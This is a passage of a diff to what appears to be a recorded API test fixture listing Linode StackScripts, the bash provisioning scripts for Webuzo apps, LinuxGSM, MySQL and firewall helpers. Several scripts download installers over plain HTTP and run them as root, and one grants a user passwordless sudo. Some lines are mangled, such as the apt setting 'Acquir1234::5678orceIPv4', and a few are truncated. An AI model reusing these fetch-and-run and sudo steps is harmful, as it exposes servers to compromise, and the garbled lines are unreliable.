+3671,8 @@ interactions: \"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho \"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1087021, "username": - "semmatweb", "user_gravatar_id": "74d1d68d933159acd4082deafbe5879c", "label": - "linode", "description": "dit", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", - "linode/debian9", "linode/ubuntu18.04", "linode/debian10", "linode/centos8", - "linode/centos-stream8", "linode/almalinux8", "linode/rocky8", "linode/debian11", - "linode/centos-stream9", "linode/ubuntu22.04", "linode/almalinux9", "linode/rocky9"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "", "script": "#!/bin/bash\n# This block defines the variables the user of the - script needs to provide\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This - sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig - eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the - packages on the system from the distribution repositories.\napt-get update\napt-get - upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname - -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) - in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": - [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": - "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": - 9006, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", - "label": "Jcow powered by Webuzo", "description": "Jcow is a flexible Social - Networking software written in PHP. It can help you to:\r\n\r\n * Build a - social network for your interests and passions.\r\n * Build a member community - for your existing website.\r\n * Build a social networking site like facebook/myspace/twitter.\r\n\r\n\r\n\t\t\t\r\nWebuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) - on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License - here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn - completion of the installation process, access http://your-ip:2004 to configure - Jcow and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", - "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "Jcow powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# - Install Jcow and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, - etc) on their virtual machines or in the cloud.\n#\n# About Jcow :\n# Jcow - is a flexible Social Networking software written in PHP. It can help you to:\n# * - Build a social network for your interests and passions.\n# * Build a member - community for your existing website.\n# * Build a social networking site - like facebook/myspace/twitter.\n###########################################################################################################\n\n# - Install Jcow Script using Webuzo\nfunction install_webuzo_script(){\n \n # - Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php - >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl - \"http://$ip:2004/install.php?prepareinstall=182&license=$1\"\n \n}\n\n# Install - Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo - Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log - 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log - 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # - Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling - Jcow and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script - $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the - result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho - \" Installation Completed \"\necho \"-------------------------------------\"\necho - \"Congratulations, Jcow has been successfully installed\"\necho \" \"\necho - \"You can now configure Jcow and Softaculous Webuzo at the following URL :\"\necho - \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 401711, "username": - "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Linux - GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": 0, "logo_url": - "assets/linuxgsm.svg", "images": ["linode/debian9", "linode/debian10"], "deployments_total": - 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# - Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname - -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up - a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER - ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho - Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh - -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod - +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" - /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu - - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction - game_install {\n\n# Installing the Server\necho Installing the Server\nsu - - \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" - =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| - \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) - ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo - No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# - Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure - that the gameserver is running and restart if needed.\necho Adding game update - cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER - monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER - -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho - \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' - > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd - service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash - /home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## - Adding these for Valheim launch, will eventually replace the above code, but - for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install - {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" - -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh - https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh - $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" - username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver - auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| - \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| - \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" - >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo - No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config - {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for - updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver - is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 - * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null - 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver - update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" - -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab - gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF - > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash - /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction - v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install - \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config - \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 883247, - "username": "hankersaeb", "user_gravatar_id": "6a47fbc2e36ad66d2f8c4a0d783f75df", - "label": "hello", "description": "hello world hhgg", "ordinal": 0, "logo_url": - "", "images": ["linode/almalinux8"], "deployments_total": 0, "deployments_active": - 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Hello man12", "script": "#!bin/bash", "user_defined_fields": - []}, {"id": 2864, "username": "jmfox1987", "user_gravatar_id": "6f9936b78bbbbaf91191091d114aa66f", - "label": "mySQL", "description": "i have no idea", "ordinal": 0, "logo_url": - "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": - 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# - \n# \n# \n# \n\t \n \nsource \n \nsystem_update\npostfix_install_loopback_only\nmysql_install - \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user - \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" - \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install - && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", - "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, - {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally - create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": - "", "example": "Optionally create this user"}, {"name": "db_user_password", - "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, - {"id": 401712, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", - "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": - 0, "logo_url": "assets/none", "images": ["linode/debian9"], "deployments_total": - 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of - script to prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": - "#!/bin/bash\n# Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update - {\n # Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' - > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get - update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname - -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction - mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections - <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections - <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction - run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation - and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect - -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press - y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New - password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new - password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous - users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect - \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) - :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to - it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect - \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send - \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install - {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default - allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl - enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction - fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban - -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl - start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup - {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking - nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export - DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm - /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation - {\n # Installs expect, runs mysql_secure_installation and runs mysql secure - installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set - timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password - for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change - the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send - \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect - \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect - \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo - \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9008, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CMS - Made Simple powered by Webuzo", "description": "CMS Made Simple provides a fast - and easy way to create a professional web site and manage its content, whether - it''s for a small business or a multinational corporation!\r\nCMS Made Simple - provides a mechanism for the website administrator to create and manage pages, - their layout, and their content. CMS Made Simple is unobtrusive. You can create - a table based layout, or a fully validating XHTML/CSS layout.\r\n\t\t\t\r\nWebuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) - on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License - here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn - completion of the installation process, access http://your-ip:2004 to configure - CMS Made Simple and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", - "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "CMS Made Simple powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# - Install CMS Made Simple and Softaculous Webuzo\n# Description -\n# About Webuzo - :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps - (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, - MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CMS Made - Simple :\n# CMS Made Simple provides a fast and easy way to create a professional - web site and manage its content,\n# whether it''s for a small business or - a multinational corporation!\n###########################################################################################################\n\n# - Install CMS Made Simple Script using Webuzo\nfunction install_webuzo_script(){\n \n # - Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php - >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl - \"http://$ip:2004/install.php?prepareinstall=247&license=$1\"\n \n}\n\n# Install - Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo - Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log - 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log - 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # - Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling - CMS Made Simple and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script - $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the - result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho - \" Installation Completed \"\necho \"-------------------------------------\"\necho - \"Congratulations, CMS Made Simple has been successfully installed\"\necho \" - \"\necho \"You can now configure CMS Made Simple and Softaculous Webuzo at the - following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for - choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": - 2865, "username": "lpj", "user_gravatar_id": "098e8581b54f4bec5877eac433034201", - "label": "lib-system", "description": "System helper functions for Ubuntu.", - "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit", "linode/ubuntu11.10", - "linode/ubuntu12.04lts32bit", null], "deployments_total": 0, "deployments_active": - 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Sudoers file mode must be 0440", "script": - "#!/bin/bash\n#\n# System helper functions\n#\n# Author: Philipe Farias \n\nsource - \n\nfunction lower {\n # helper function\n echo - $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction set_hostname {\n HOSTNAME=$1\n if - [ -z \"$HOSTNAME\" ] ; then\n export HOSTNAME=\"`get_rdns_primary_ip`\"\n fi\n HOST=`echo - $HOSTNAME | sed ''s/\\(\\[a-z0-9\\]\\)*\\..*/\\1/''`\n HOSTS_LINE=\"`system_primary_ip`\\t$HOSTNAME\\t$HOST\"\n echo - \"$HOST\" > /etc/hostname\n sed -i -e \"s/^127\\.0\\.1\\.1\\s.*$/$HOSTS_LINE/\" - /etc/hosts\n start hostname\n}\n\nfunction update_locale_en_US_UTF_8 {\n #locale-gen - en_US.UTF-8\n dpkg-reconfigure locales\n update-locale LC_ALL=en_US.UTF-8 - LANG=en_US.UTF-8\n echo \"LC_ALL=en_US.UTF-8\" >> /etc/environment\n}\n\nfunction - set_timezone {\n # $1 - timezone (zoneinfo file)\n ln -sf \"/usr/share/zoneinfo/$1\" - /etc/localtime\n dpkg-reconfigure --frontend noninteractive tzdata\n}\n\nfunction - system_add_user {\n # $1 - username\n # $2 - password\n # $3 - groups\n USERNAME=`lower - $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=\"/bin/bash\"\n useradd --create-home - --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo - \"$USERNAME:$PASSWORD\" | chpasswd\n\n cat >\"/etc/sudoers.d/$USERNAME\" <> - \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction - sshd_config_set_port {\n sed -i -e \"s/Port 22/Port $1/\" /etc/ssh/sshd_config\n}\n\nfunction - sshd_config_edit_bool {\n # $1 - param name\n # $2 - Yes/No\n VALUE=`lower - $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed - -i -e \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction - sshd_config_permitrootlogin {\n sshd_config_edit_bool \"PermitRootLogin\" - \"$1\"\n}\n\nfunction sshd_config_passwordauthentication {\n sshd_config_edit_bool - \"PasswordAuthentication\" \"$1\"\n}\n\nfunction sshd_config_pubkeyauthentication - {\n sshd_config_edit_bool \"PubkeyAuthentication\" \"$1\"\n}\n\nfunction - sshd_config_passwordauthentication {\n sshd_config_edit_bool \"PasswordAuthentication\" - \"$1\"\n}\n\n# Email\nfunction install_postfix {\n # $1 - root email\n # $2 - - username\n postfix_install_loopback_only # SS1\n #install mail sending utilities\n apt-get - -y install mailutils\n #configure root alias\n echo \"root: $1\" >> /etc/aliases\n echo - \"$2: root\" >> /etc/aliases\n cat /etc/hostname > /etc/mailname\n newaliases\n sed - -i -e \"s/mydestination = localhost, localhost.localdomain, , localhost/mydestination - = localhost, localhost.localdomain, $HOSTNAME/\" /etc/postfix/main.cf\n touch - /tmp/restart-postfix\n}\n\n# Monit and Munin\nfunction install_monit {\n # - $1 - root email\n apt-get -y install monit\n sed -i -e ''s/startup=0/startup=1/'' - /etc/default/monit\n mkdir -p /etc/monit/conf.d/\n sed -i -e \"s/# set daemon 120/set - daemon 120/\" /etc/monit/monitrc\n sed -i -e \"s/# with start delay 240/with - start delay 240/\" /etc/monit/monitrc\n sed -i -e \"s/# set logfile syslog - facility log_daemon/set logfile \\/var\\/log\\/monit.log/\" /etc/monit/monitrc\n sed - -i -e \"s/# set mailserver mail.bar.baz,/set mailserver localhost/\" /etc/monit/monitrc\n sed - -i -e \"s/# set eventqueue/set eventqueue/\" /etc/monit/monitrc\n sed -i -e - \"s/# basedir \\/var\\/monit/basedir \\/var\\/monit/\" /etc/monit/monitrc\n sed - -i -e \"s/# slots 100 /slots 100/\" /etc/monit/monitrc\n sed -i -e \"s/# - set alert sysadm@foo.bar/set alert $1 reminder 180/\" /etc/monit/monitrc\n sed - -i -e \"s/# set httpd port 2812 and/ set httpd port 2812 and/\" /etc/monit/monitrc\n sed - -i -e \"s/# use address localhost/use address localhost/\" /etc/monit/monitrc\n sed - -i -e \"s/# allow localhost/allow localhost/\" /etc/monit/monitrc\n sed - -i -e \"s/# set mail-format { from: monit@foo.bar }/set mail-format { from: - monit@`hostname -f` }/\" /etc/monit/monitrc\n cat << EOT > /etc/monit/conf.d/system\n check - system `hostname`\n if loadavg (1min) > 4 then alert\n if loadavg (5min) - > 4 then alert\n if memory usage > 90% then alert\n if cpu usage (user) - > 70% then alert\n if cpu usage (system) > 30% then alert\n if cpu usage - (wait) > 20% then alert\n\ncheck filesystem rootfs with path /\nif space > 80% - then alert\nEOT\n touch /tmp/restart-monit\n}\n\nfunction install_munin_node - {\n # $1 - node hostname\n # $2 - munin server ip\n apt-get -y install munin-node\n sed - -i -e \"s/^#host_name .*/host_name $1/\" /etc/munin/munin-node.conf\n sed -i - -e \"s/^allow .*$/&\\nallow \\^$2\\$/ ; /^allow \\^\\d*/ s/[.]/\\\\\\&/g ; /^allow - \\^\\d*/ s/\\\\\\\\\\\\\\/\\\\\\/g\" /etc/munin/munin-node.conf\n touch /tmp/restart-munin-node\n}\n\n# - Security tools\nfunction install_security_tools {\n apt-get -y install unattended-upgrades - chkrootkit rkhunter fail2ban ufw\n\n rkhunter --propupd\n}\n\nfunction set_conf_value - {\n # $1 - conf file\n # $2 - key\n # $3 - value\n sed -i -e \"s/^\\($2[ - ]*=[ ]*\\).*/\\1$3/\" $1\n}\n\nfunction configure_cronapt {\n CONF=/etc/cron-apt/config\n test - -f $CONF || exit 0\n\n sed -i -e \"s/^# \\(MAILON=\\).*/\\1\\\"changes\\\"/\" - $CONF\n}\n\nfunction configure_chkrootkit {\n CONF=/etc/chkrootkit.conf\n test - -f $CONF || exit 0\n\n set_conf_value $CONF \"RUN_DAILY\" \"\\\"true\\\"\"\n set_conf_value - $CONF \"RUN_DAILY_OPTS\" \"\\\"-q -e ''/usr/lib/jvm/.java-1.6.0-openjdk.jinfo - /usr/lib/byobu/.constants /usr/lib/byobu/.dirs /usr/lib/byobu/.shutil /usr/lib/byobu/.notify_osd - /usr/lib/byobu/.common /usr/lib/pymodules/python2.7/.path''\\\"\"\n}\n\nfunction - configure_rkhunter {\n CONF=/etc/rkhunter.conf\n test -f $CONF || exit 0\n\n set_conf_value - $CONF \"MAIL-ON-WARNING\" \"\\\"root\\\"\"\n sed -i -e \"/ALLOWHIDDENDIR=\\/dev\\/.udev$/ - s/^#//\" $CONF\n # Disabling tests for kernel modules, Linode kernel doens''t - have any modules loaded\n sed -i -e \"/^DISABLE_TESTS=.*/ s/\\\"$/ os_specific\\\"/\" - $CONF\n}\n\nfunction configure_logcheck {\n # Ignore the message flood about - UFW blocking TCP SYN and UDP packets\n UFW_SYN_BLOCK_REGEX=\"^\\w{3} [ :[:digit:]]{11} - [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= MAC=[:[:xdigit:]]+ - SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ TOS=0x[[:xdigit:]]+ - PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF )?PROTO=TCP SPT=[[:digit:]]+ - DPT=[[:digit:]]+ WINDOW=[[:digit:]]+ RES=0x[[:xdigit:]]+ SYN URGP=[[:digit:]]+$\"\n UFW_UDP_BLOCK_REGEX=\"^\\w{3} - [ :[:digit:]]{11} [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= - MAC=[:[:xdigit:]]+ SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ - TOS=0x[[:xdigit:]]+ PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF - )?PROTO=UDP SPT=[[:digit:]]+ DPT=[[:digit:]]+ LEN=[[:digit:]]+$\"\n echo \"# - UFW BLOCK messages\" >> /etc/logcheck/ignore.d.server/local\n echo $UFW_SYN_BLOCK_REGEX - >> /etc/logcheck/ignore.d.server/local\n echo $UFW_UDP_BLOCK_REGEX >> /etc/logcheck/ignore.d.server/local\n\n # - Ignore dhcpcd messages\n DHCPCD_RENEWING=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ - dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: renewing lease of [.[:digit:]]{7,15}$\"\n DHCPCD_LEASED=\"^\\w{3} - [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: leased - [.[:digit:]]{7,15} for [[:digit:]]+ seconds$\"\n DHCPCD_ADDING_IP=\"^\\w{3} - [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding - IP address [.[:digit:]]{7,15}/[[:digit:]]+$\"\n DHCPCD_ADDING_DEFAULT_ROUTE=\"^\\w{3} - [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding - default route via [.[:digit:]]{7,15} metric [0-9]+$\"\n DHCPCD_INTERFACE_CONFIGURED=\"^\\w{3} - [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\.sh: interface [[:alnum:]]+ has been - configured with old IP=[.[:digit:]]{7,15}$\"\n # Ignore ntpd messages\n NTPD_VALIDATING_PEER=\"^\\w{3} - [ :0-9]{11} [._[:alnum:]-]+ ntpd\\[[0-9]+\\]: peer [.[:digit:]]{7,15} now (in)?valid$\"\n echo - \"# DHCPCD messages\" >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_RENEWING - >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_LEASED >> /etc/logcheck/ignore.d.server/local\n echo - $DHCPCD_ADDING_IP >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_ADDING_DEFAULT_ROUTE - >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_INTERFACE_CONFIGURED - >> /etc/logcheck/ignore.d.server/local\n echo \"# NTPD messages\" >> /etc/logcheck/ignore.d.server/local\n echo - $NTPD_VALIDATING_PEER >> /etc/logcheck/ignore.d.server/local\n}\n\nfunction - configure_logwatch {\n 